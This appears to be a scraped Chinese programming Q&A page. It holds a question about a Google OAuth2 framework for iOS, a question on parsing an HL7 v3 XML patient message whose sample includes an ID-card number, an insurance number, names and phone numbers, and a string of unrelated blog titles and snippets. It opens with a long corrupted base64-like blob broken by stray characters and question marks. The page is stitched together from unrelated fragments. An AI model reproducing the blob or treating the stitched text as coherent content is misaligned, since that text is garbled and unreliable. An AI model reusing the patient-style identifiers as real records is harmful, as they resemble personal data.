N6RbWrkwaP8sgXLR/gflv62k00YgDa10rCMGF0hje9nQpp8QsGm4gEIl1ommfZkYKK1pg7BIAiyOca7bXx/2yRG2c2woMA8odWQEDoYHExhgbkgDSuUOTNzTaQ6Yus/J0w9gjgytBsaMjlFTZwotjkCKl609vY9nboEJRjB9Apsb+Yz2w0viBXzY5ISMMceWzlEJPkp9n1jMFMfUqVCa0pu2YKGPG0xgSmWv72reXHLhMLxwI32OasHzbCACLTaQoCamg0TifhoMNoI7MAHuPVohq/3gQMeduL9NzAmGO+Sc+MctylVKp0M2wqkpWkwgbC3vRrIp2JzWpb3UIYVeXM+yFJkq8CFFB9Y6CLWwbVQrMk2ZWhPtkF4QarcVMRT4kU7TVKtRiAHbmPyU03HsrJqCQml襑QLpNE8W8ZUe239nRTeqIKTkF+ATvd9vgNJsQmUwR8yVsVyIzVd60KZAJUKyPYNKGH4OCNkTYHDBYFxaYb1VaIB9Ayq2FZrcTgsZK1hOjTJeDwW8bLms5lcbJTjK2BwcDibiP+c/oe16sL+343+QBBTWjgCyEYvuGKd7FvB0Pz7BSYkp7iUzIL4QFsu2bxDvZfG2+sBXykTCRAZbAkqUBK7uodMpgC5DuxoiR2ZBRz8p2A6zneDuePsBmrNG62T5ZNdm+T7Zq0udOLWEHbSjHZoOm52mVYBzdFNS3jDGE0n6g9byrs+ie+emdTCdkuhT3UiadWuCfWeo5+woZKj7g/p6rpf9gqoR9zAjIttybaJPgnHcQj4SnCYQB9QtGR+2hHmHlMzLmGdZmVAnHerplIcwR857Lg3qOuovJrYk+X6PTQ2Tyv94w57C51EAGYshcisb/hrrNgK8QryVh3xymwyutR50tacN0rrpFlndAGcO5sDue5PaDsTUg85lr0MlnaEVXbjPUYuogX6S/k9jRvkQAACdECEw/MqReT3JiQl7MupuapyxoFJ1VGYsrugzVhcQyuxZt+Si33yKxNBwmgUQFcFjPKZ3N0deunQGoDN/ijzsGtB1527GgszasZi9F90jnogpJmvHljmQVb9jAqApACSozADD3SKEFzaShgEBIsAWfNZ0bvinhDjl9ZNGaE+TruVoPDuAEPsDMRACU15Arr7V3MxvYt8++bmmDtp71VB4aghof6fVCRwXoVKRvd9zd濳U92n9qR/WBHFmaxQ1JF0sfkjPAgzCSSytEFUPVTeICBC83qZPcGiylR+abkyqCPapjoJ5kWVzojrTVfVUheqCZDIEkrWjUAKGDBiI/uG1RQ5wgeyRyN8jrcUZfTRxfcYtQlGX10RMk1Nhl99IDrTQDRckzgdTDhSblaYzz00RUB6oAkOZFKpFaQ3Swqu8G9QfDNkPToI6uEkr5wRnT9lZJwbK9/2CrT6SU+9s/VSjW1vwMh0UcA+gLTzkAiE6dD5HRxVyUf3sg3iOxAC83tKzKLPmuGb7RslN36DKLeJ+uBDtZQusFKdoaZGIrObegrHETZqFAZ7VOjcKz1nPh0sNk4僰BK/bNtrbnMG4iXCSWveW4ntHuiz6FgU4e0rtW7acjOCzyHdWIs+6pwNCvEeUfVVdexbMDIX+qxmrO4Vur4i/eZAzFwgQkNjEW1O8Ji3GrERlbfntG8A96ja昦QsTLRi8TXTpSIcsodBbbhTAXPONTtHQc+HtkGguIjoFq1wFQjEBGNCYVA+1aMoiQdzgipddsAJeNZtbV0BzLTqBHq672ydJ/FDORUb7crjunGs2wwP70A82dasN/PwMDengfdcK/lbNhVUeH+zEcvZYnCv7FB3d9S3u9a965Dvkzr6LPRODca5xp/HwfiIBK/jtu6l7GNSavoeFwO7jTMfIhX?ik2H1Z1ncnbmvN7kwwcGa8g4yWxAwTd++um21KprYcn5rFOuettPfSn85PZXshaVsC6fP44PL8hRLKBb2Pvtgi/UCqtodQ748KN4bcRL8ZKTSt0f62grN60FO?zrrr7FZGJgKJOoCcs8ySjpC/xG7U9Wndp7+uJopR5TWkNT+r/RgSfq4塕w9lev1KZC2uv8fXg6BlMjsOm2oe怸VerUND/XtCCdwLk蒅/DY7rPPvv/dJ5988絬5L7/74V3793/7B/+?/7PnpX/6Zd59?3/8CS蜽vZDw==
Google账户OAuth2支持框架
有没有在objective-c和ios使用Google Accounts OAuth2 Authentication进程的框架〉?(这里是描述https://developers.google.com/accounts/docs/OAuth2InstalledApp?hl=fr#libraries)
这种 xml咋解析?这种 xml咋解析这种 xml咋解析这种 xml咋解析这种 xml咋解析
<?xml version="1.0" encoding="UTF-8"?> <POOR_IN200901UV ITSVersion="XML_1.0" xmlns="urn:hl7-org:v3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:hl7-org:v3 ../../Schemas/POOR_IN200901UV20.xsd"> <!-- 消息ID --> <id extension="BS002" /> <!-- 消息创建时间 --> <creationTime value="20120106110000" /> <!-- 交互ID --> <interactionId root="" extension="POOR_4" /> <!-- 消息用途: P(Production); D(Debugging); T(Training) --> <processingCode code="P" /> <!-- 消息处理模式: A(Archive); I(Initial load); R(Restore from archive); T(Current processing) --> <processingModeCode code="T" /> <!-- 消息应答: AL(Always); ER(Error/reject only); NE(Never) --> <acceptAckCode code="NE" /> <!-- 接受者 --> <receiver typeCode="RCV"> <device classCode="DEV" determinerCode="INSTANCE"> <!-- 接受者ID --> <id /> </device> </receiver> <!-- 发送者 --> <sender typeCode="SND"> <device classCode="DEV" determinerCode="INSTANCE"> <!-- 发送者ID --> <id /> </device> </sender> <!-- 封装的消息内容(按Excel填写) --> <controlActProcess classCode="CACT" moodCode="EVN"> <!-- 消息交互类型 @code: 新增 :new 删除:delete--> <code code="new"></code> <subject typeCode="SUBJ" xsi:nil="false"> <placerGroup classCode="GROUPER" moodCode="RQO"> <subject typeCode="SBJ"> <patient classCode="PAT"> <id> <!-- 域ID --> <item root="1.2.156.112606.1.2.1.2" extension="01" /> <!-- 患者ID --> <item root="1.2.156.112606.1.2.1.3" extension="09102312" /> <!-- 就诊号 --> <item root="1.2.156.112606.1.2.1.12" extension="0910238" /> </id> <!-- 病区编码/病区名 床号 --> <addr xsi:type="BAG_AD"> <item use="TMP"> <part type="BNR" value="9A血液科" code="09808" codeSystem="1.2.156.112606.1.1.33" codeSystemVersion="东北国际医院OID病区" /> <part type="CAR" value="06" /> </item> </addr> <!--个人信息 必须项已使用 --> <patientPerson classCode="PSN"> <!-- 身份证号/医保卡号 --> <id> <!-- 身份证号 --> <item extension="110938197803030456" root="1.2.156.112606.1.2.1.9" /> <!-- 医保卡号 --> <item extension="191284777494877" root="1.2.156.112606.1.2.1.11" /> </id> <!--姓名 --> <name xsi:type="BAG_EN"> <item> <part value="张三" /> </item> </name> <!-- 联系电话 --> <telecom xsi:type="BAG_TEL"> <!-- 联系电话 --> <item value="15801020489"></item> </telecom> <!--性别代码 --> <administrativeGenderCode code="1" codeSystem="1.2.156.112606.1.1.3" codeSystemName="东北国际医院OID性别代码"/> <!--出生日期 --> <birthTime value="19870202"> <!--年龄 --> <originalText value="25" /> </birthTime> <!--住址 --> <addr xsi:type="BAG_AD"> <item use="H"> <part type="AL" value="沈阳铁西区" /> </item> </addr> <!--婚姻状况类别编码 --> <maritalStatusCode code="10" codeSystem="1.2.156.112606.1.1.4" codeSystemName="东北国际医院OID婚姻状况" /> <!--民族编码 --> <ethnicGroupCode> <item code="HA" codeSystem="1.2.156.112606.1.1.5" codeSystemName="东北国际医院OID民族代码" /> </ethnicGroupCode> <!--雇佣关系 --> <asEmployee classCode="EMP"> <!--职业编码 --> <occupationCode code="6-24" codeSystem="1.2.156.112606.1.1.7" codeSystemName="东北国际医院OID职业"> <!--职业 --> <displayName value="重有色金属冶炼人员"></displayName> </occupationCode> <!--工作单位 --> <employerOrganization determinerCode="INSTANCE" classCode="ORG"> <!--工作单位名称 --> <name xsi:type="BAG_EN"> <item> <part value="中钢" /> </item> </name> <contactParty classCode="CON" xsi:nil="true" /> </employerOrganization> </asEmployee> <!--公民身份 --> <asCitizen> <!--所属国家 --> <politicalNation> <!--国籍编码 --> <code code="156" codeSystem="1.2.156.112606.1.1.6" codeSystemName="东北国际医院OID国藉"> <!--国家 --> <displayName value="中国"></displayName> </code> </politicalNation> </asCitizen> <!--联系人 --> <contactParty classCode="CON"> <!--联系人电话--> <telecom xsi:type="BAG_TEL"> <item use="MC" value="13899095656" capabilities="voice" /> </telecom> <!--联系人姓名/亲属 --> <contactPerson> <name xsi:type="BAG_EN"> <item use="IDE"> <part value="李四 " /> </item> </name> </contactPerson> </contactParty> </patientPerson> <providerOrganization determinerCode="INSTANCE" classCode="ORG"> <!-- 必须项 未使用 --> <id></id> <!--申请医院 保留可不填 --> <name xsi:type="BAG_EN"> <item> <part value="东北国际医院" /> </item> </name> </providerOrganization> </patient> </subject> <!--开医嘱者/送检医生 --> <author typeCode="AUT"> <!-- 开单时间 --> <time value="201205061000"></time> <assignedEntity classCode="ASSIGNED"> <!--开单医生编码 --> <id> <item extension="09882374" root="1.2.156.112606.1.1.2" /> </id> <!--开单医生姓名 --> <assignedPerson determinerCode="INSTANCE" classCode="PSN"> <name xsi:type="BAG_EN"> <item> <part value="李武" /> </item> </name> </assignedPerson> <!-- 申请科室信息 --> <representedOrganization determinerCode="INSTANCE" classCode="ORG"> <!--申请科室编码 必须项已使用 --> <id> <item extension="023984" root="1.2.156.112606.1.1.1" /> </id> <!--申请科室名称 --> <name xsi:type="BAG_EN"> <item> <part value="骨科" /> </item> </name> </representedOrganization> </assignedEntity> </author> <!-- 确认人 --> <verifier typeCode="VRF"> <!--确认时间 -->
相见恨晚的超实用网站
搞学习 知乎:www.zhihu.com 简答题:http://www.jiandati.com/ 网易公开课:https://open.163.com/ted/ 网易云课堂:https://study.163.com/ 中国大学MOOC:www.icourse163.org 网易云课堂:study.163.com 哔哩哔哩弹幕网:www.bilibili.com 我要自学网:www.51zxw
花了20分钟,给女朋友们写了一个web版群聊程序
参考博客 [1]https://www.byteslounge.com/tutorials/java-ee-html5-websocket-example
爬虫福利二 之 妹子图网MM批量下载
爬虫福利一:27报网MM批量下载    点击 看了本文,相信大家对爬虫一定会产生强烈的兴趣,激励自己去学习爬虫,在这里提前祝:大家学有所成! 目标网站:妹子图网 环境:Python3.x 相关第三方模块:requests、beautifulsoup4 Re:各位在测试时只需要将代码里的变量 path 指定为你当前系统要保存的路径,使用 python xxx.py 或IDE运行即可。
字节跳动视频编解码面经
引言 本文主要是记录一下面试字节跳动的经历。 三四月份投了字节跳动的实习(图形图像岗位),然后hr打电话过来问了一下会不会opengl,c++,shador,当时只会一点c++,其他两个都不会,也就直接被拒了。 七月初内推了字节跳动的提前批,因为内推没有具体的岗位,hr又打电话问要不要考虑一下图形图像岗,我说实习投过这个岗位不合适,不会opengl和shador,然后hr就说秋招更看重基础。我当时
Java学习的正确打开方式
在博主认为,对于入门级学习java的最佳学习方法莫过于视频+博客+书籍+总结,前三者博主将淋漓尽致地挥毫于这篇博客文章中,至于总结在于个人,实际上越到后面你会发现学习的最好方式就是阅读参考官方文档其次就是国内的书籍,博客次之,这又是一个层次了,这里暂时不提后面再谈。博主将为各位入门java保驾护航,各位只管冲鸭!!!上天是公平的,只要不辜负时间,时间自然不会辜负你。 何谓学习?博主所理解的学习,它
程序员必须掌握的核心算法有哪些?
由于我之前一直强调数据结构以及算法学习的重要性,所以就有一些读者经常问我,数据结构与算法应该要学习到哪个程度呢?,说实话,这个问题我不知道要怎么回答你,主要取决于你想学习到哪些程度,不过针对这个问题,我稍微总结一下我学过的算法知识点,以及我觉得值得学习的算法。这些算法与数据结构的学习大多数是零散的,并没有一本把他们全部覆盖的书籍。下面是我觉得值得学习的一些算法以及数据结构,当然,我也会整理一些看过
大学四年自学走来,这些私藏的实用工具/学习网站我贡献出来了
大学四年,看课本是不可能一直看课本的了,对于学习,特别是自学,善于搜索网上的一些资源来辅助,还是非常有必要的,下面我就把这几年私藏的各种资源,网站贡献出来给你们。主要有:电子书搜索、实用工具、在线视频学习网站、非视频学习网站、软件下载、面试/求职必备网站。 注意:文中提到的所有资源,文末我都给你整理好了,你们只管拿去,如果觉得不错,转发、分享就是最大的支持了。 一、电子书搜索 对于大部分程序员...
linux系列之常用运维命令整理笔录
本博客记录工作中需要的linux运维命令,大学时候开始接触linux,会一些基本操作,可是都没有整理起来,加上是做开发,不做运维,有些命令忘记了,所以现在整理成博客,当然vi,文件操作等就不介绍了,慢慢积累一些其它拓展的命令,博客不定时更新 顺便拉下票,我在参加csdn博客之星竞选,欢迎投票支持,每个QQ或者微信每天都可以投5票,扫二维码即可,http://m234140.nofollow.ax.
比特币原理详解
一、什么是比特币 比特币是一种电子货币,是一种基于密码学的货币,在2008年11月1日由中本聪发表比特币白皮书,文中提出了一种去中心化的电子记账系统,我们平时的电子现金是银行来记账,因为银行的背后是国家信用。去中心化电子记账系统是参与者共同记账。比特币可以防止主权危机、信用风险。其好处不多做赘述,这一层面介绍的文章很多,本文主要从更深层的技术原理角度进行介绍。 二、问题引入 假设现有4个人...
Python 基础(一):入门必备知识
目录1 标识符2 关键字3 引号4 编码5 输入输出6 缩进7 多行8 注释9 数据类型10 运算符10.1 常用运算符10.2 运算符优先级 1 标识符 标识符是编程时使用的名字,用于给变量、函数、语句块等命名,Python 中标识符由字母、数字、下划线组成,不能以数字开头,区分大小写。 以下划线开头的标识符有特殊含义,单下划线开头的标识符,如:_xxx ,表示不能直接访问的类属性,需通过类提供
这30个CSS选择器,你必须熟记(上)
关注前端达人,与你共同进步CSS的魅力就是让我们前端工程师像设计师一样进行网页的设计,我们能轻而易举的改变颜色、布局、制作出漂亮的影音效果等等,我们只需要改几行代码,不需...
国产开源API网关项目进入Apache孵化器:APISIX
点击蓝色“程序猿DD”关注我回复“资源”获取独家整理的学习资料!近日,又有一个开源项目加入了这个Java开源界大名鼎鼎的Apache基金会,开始进行孵化器。项目名称:AP...
程序员接私活怎样防止做完了不给钱?
首先跟大家说明一点,我们做 IT 类的外包开发,是非标品开发,所以很有可能在开发过程中会有这样那样的需求修改,而这种需求修改很容易造成扯皮,进而影响到费用支付,甚至出现做完了项目收不到钱的情况。 那么,怎么保证自己的薪酬安全呢? 我们在开工前,一定要做好一些证据方面的准备(也就是“讨薪”的理论依据),这其中最重要的就是需求文档和验收标准。一定要让需求方提供这两个文档资料作为开发的基础。之后开发
网页实现一个简单的音乐播放器(大佬别看。(⊙﹏⊙))
今天闲着无事,就想写点东西。然后听了下歌,就打算写个播放器。 于是乎用h5 audio的加上js简单的播放器完工了。 欢迎 改进 留言。 演示地点跳到演示地点 html代码如下`&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;music&lt;/title&gt; &lt;meta charset="utf-8"&gt
Python十大装B语法
Python 是一种代表简单思想的语言,其语法相对简单,很容易上手。不过,如果就此小视 Python 语法的精妙和深邃,那就大错特错了。本文精心筛选了最能展现 Python 语法之精妙的十个知识点,并附上详细的实例代码。如能在实战中融会贯通、灵活使用,必将使代码更为精炼、高效,同时也会极大提升代码B格,使之看上去更老练,读起来更优雅。 1. for - else 什么?不是 if 和 else 才
数据库优化 - SQL优化
前面一篇文章从实例的角度进行数据库优化,通过配置一些参数让数据库性能达到最优。但是一些“不好”的SQL也会导致数据库查询变慢,影响业务流程。本文从SQL角度进行数据库优化,提升SQL运行效率。 判断问题SQL 判断SQL是否有问题时可以通过两个表象进行判断: 系统级别表象 CPU消耗严重 IO等待严重 页面响应时间过长
2019年11月中国大陆编程语言排行榜
2019年11月2日,我统计了某招聘网站,获得有效程序员招聘数据9万条。针对招聘信息,提取编程语言关键字,并统计如下: 编程语言比例 rank pl_ percentage 1 java 33.62% 2 c/c++ 16.42% 3 c_sharp 12.82% 4 javascript 12.31% 5 python 7.93% 6 go 7.25% 7
通俗易懂地给女朋友讲:线程池的内部原理
餐厅的约会 餐盘在灯光的照耀下格外晶莹洁白,女朋友拿起红酒杯轻轻地抿了一小口,对我说:“经常听你说线程池,到底线程池到底是个什么原理?”我楞了一下,心里想女朋友今天是怎么了,怎么突然问出这么专业的问题,但做为一个专业人士在女朋友面前也不能露怯啊,想了一下便说:“我先给你讲讲我前同事老王的故事吧!” 大龄程序员老王 老王是一个已经北漂十多年的程序员,岁数大了,加班加不动了,升迁也无望,于是拿着手里
经典算法(5)杨辉三角
杨辉三角 是经典算法,这篇博客对它的算法思想进行了讲解,并有完整的代码实现。
编写Spring MVC控制器的14个技巧
本期目录 1.使用@Controller构造型 2.实现控制器接口 3.扩展AbstractController类 4.为处理程序方法指定URL映射 5.为处理程序方法指定HTTP请求方法 6.将请求参数映射到处理程序方法 7.返回模型和视图 8.将对象放入模型 9.处理程序方法中的重定向 10.处理表格提交和表格验证 11.处理文件上传 12.在控制器中自动装配业务类 ...
腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹?
昨天,有网友私信我,说去阿里面试,彻底的被打击到了。问了为什么网上大量使用ThreadLocal的源码都会加上private static?他被难住了,因为他从来都没有考虑过这个问题。无独有偶,今天笔者又发现有网友吐槽了一道腾讯的面试题,我们一起来看看。 腾讯算法面试题:64匹马8个跑道需要多少轮才能选出最快的四匹? 在互联网职场论坛,一名程序员发帖求助到。二面腾讯,其中一个算法题:64匹
面试官:你连RESTful都不知道我怎么敢要你?
面试官:了解RESTful吗? 我:听说过。 面试官:那什么是RESTful? 我:就是用起来很规范,挺好的 面试官:是RESTful挺好的,还是自我感觉挺好的 我:都挺好的。 面试官:… 把门关上。 我:… 要干嘛?先关上再说。 面试官:我说出去把门关上。 我:what ?,夺门而去 文章目录01 前言02 RESTful的来源03 RESTful6大原则1. C-S架构2. 无状态3.统一的接
求小姐姐抠图竟遭白眼?痛定思痛,我决定用 Python 自力更生!
点击蓝色“Python空间”关注我丫加个“星标”,每天一起快乐的学习大家好,我是 Rocky0429,一个刚恰完午饭,正在用刷网页浪费生命的蒟蒻...一堆堆无聊八卦信息的网页内容慢慢使我的双眼模糊,一个哈欠打出了三斤老泪,就在此时我看到了一张图片:是谁!是谁把我女朋友的照片放出来的!awsl!太好看了叭...等等,那个背景上的一堆鬼画符是什么鬼?!真是看不下去!叔叔婶婶能忍,隔壁老王的三姨妈的四表...
为啥国人偏爱Mybatis,而老外喜欢Hibernate/JPA呢?
关于SQL和ORM的争论,永远都不会终止,我也一直在思考这个问题。昨天又跟群里的小伙伴进行了一番讨论,感触还是有一些,于是就有了今天这篇文。 声明:本文不会下关于Mybatis和JPA两个持久层框架哪个更好这样的结论。只是摆事实,讲道理,所以,请各位看官勿喷。 一、事件起因 关于Mybatis和JPA孰优孰劣的问题,争论已经很多年了。一直也没有结论,毕竟每个人的喜好和习惯是大不相同的。我也看
SQL-小白最佳入门sql查询一
不要偷偷的查询我的个人资料,即使你再喜欢我,也不要这样,真的不好;
项目中的if else太多了,该怎么重构?
介绍 最近跟着公司的大佬开发了一款IM系统,类似QQ和微信哈,就是聊天软件。我们有一部分业务逻辑是这样的 if (msgType = "文本") { // dosomething } else if(msgType = "图片") { // doshomething } else if(msgType = "视频") { // doshomething } else { // doshom...
致 Python 初学者
欢迎来到“Python进阶”专栏!来到这里的每一位同学,应该大致上学习了很多 Python 的基础知识,正在努力成长的过程中。在此期间,一定遇到了很多的困惑,对未来的学习方向感到迷茫。我非常理解你们所面临的处境。我从2007年开始接触 python 这门编程语言,从2009年开始单一使用 python 应对所有的开发工作,直至今天。回顾自己的学习过程,也曾经遇到过无数的困难,也曾经迷茫过、困惑过。开办这个专栏,正是为了帮助像我当年一样困惑的 Python 初学者走出困境、快速成长。希望我的经验能真正帮到你
“狗屁不通文章生成器”登顶GitHub热榜,分分钟写出万字形式主义大作
一、垃圾文字生成器介绍 最近在浏览GitHub的时候,发现了这样一个骨骼清奇的雷人项目,而且热度还特别高。 项目中文名:狗屁不通文章生成器 项目英文名:BullshitGenerator 根据作者的介绍,他是偶尔需要一些中文文字用于GUI开发时测试文本渲染,因此开发了这个废话生成器。但由于生成的废话实在是太过富于哲理,所以最近已经被小伙伴们给玩坏了。 他的文风可能是这样的: 你发现,...
程序员:我终于知道post和get的区别
是一个老生常谈的话题,然而随着不断的学习,对于以前的认识有很多误区,所以还是需要不断地总结的,学而时习之,不亦说乎
《程序人生》系列-这个程序员只用了20行代码就拿了冠军
你知道的越多,你不知道的越多 点赞再看,养成习惯GitHub上已经开源https://github.com/JavaFamily,有一线大厂面试点脑图,欢迎Star和完善 前言 这一期不算《吊打面试官》系列的,所有没前言我直接开始。 絮叨 本来应该是没有这期的,看过我上期的小伙伴应该是知道的嘛,双十一比较忙嘛,要值班又要去帮忙拍摄年会的视频素材,还得搞个程序员一天的Vlog,还要写BU...
相关热词 c#选择结构应用基本算法 c# 收到udp包后回包 c#oracle 头文件 c# 序列化对象 自定义 c# tcp 心跳 c# ice连接服务端 c# md5 解密 c# 文字导航控件 c#注册dll文件 c#安装.net
立即提问